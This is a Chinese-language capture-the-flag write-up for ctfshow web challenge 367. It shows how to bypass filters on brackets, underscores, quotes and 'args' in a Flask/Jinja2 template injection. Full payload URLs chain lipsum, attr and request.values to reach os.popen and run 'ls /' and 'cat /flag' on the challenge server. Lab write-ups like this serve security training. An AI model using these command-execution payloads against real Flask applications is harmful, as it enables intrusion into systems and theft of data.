SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)

写在前面

原本我做这道题的时候,就按照正常思路来的,发现中括号、args、下划线、单双引号被过滤,没有发现os被过滤,因为我沿用了上道题目web 入门366的payload来的,没有用到os的字符串,之后看了别人的payload,发现他们使用lipsum作为辅助,lipsum是一个flask的一个函数方法,大致用法就是:

 lipsum(n=5, html=True, min=20, max=100):在模板中生成 lorem ipsum 乱数假文。默认会生成 5 段 HTML ,每段在 20100 词之间。用来测试

这与漏洞的本身是没太大关系的,只是我们可以通过这个方法获取可以执行shell命令的子类以及方法。

沿用之前web入门366的方法

之前web入门366的文章(包括绕过的原理与方法)我已经出过,我把链接放在这,小伙伴们自行选择浏览ctfshow web入门366,366的payload对本题目367是完全可用的直接照搬不改动都可以。

本期我们主要讲用另外一种方法。

更简易的方法

获取到os模块

http://b0bdfc7f-1e63-431f-bc13-33412d2e2d5a.challenge.ctf.show/?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)}}&a=__globals__&b=__getitem__&c=os

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)_第1张图片
因为中括号[]被过滤了,我选择使用的是__getitem__()方法,使用get()也是可以的。

http://b0bdfc7f-1e63-431f-bc13-33412d2e2d5a.challenge.ctf.show/?name={{(lipsum|attr(request.values.a)).get(request.values.b)}}&a=__globals__&b=os

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)_第2张图片

获取到执行shell命令的方法——popen()

http://b0bdfc7f-1e63-431f-bc13-33412d2e2d5a.challenge.ctf.show/?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)}}&a=__globals__&b=__getitem__&c=os&d=popen

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)_第3张图片

执行命令获取flag

http://b0bdfc7f-1e63-431f-bc13-33412d2e2d5a.challenge.ctf.show/?name={{(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.e)).read()}}&a=__globals__&b=__getitem__&c=os&d=popen&e=ls /

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)_第4张图片
发现根目录下存在flag,直接cat读取flag。

http://b0bdfc7f-1e63-431f-bc13-33412d2e2d5a.challenge.ctf.show/?name={{(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.e)).read()}}&a=__globals__&b=__getitem__&c=os&d=popen&e=cat /flag

SSTI模板注入-中括号、args、os、下划线、单双引号被过滤绕过(ctfshow web入门367)_第5张图片
成功拿到flag!

你可能感兴趣的:(CTFShow,SSTI模板注入,网络安全,安全,web安全)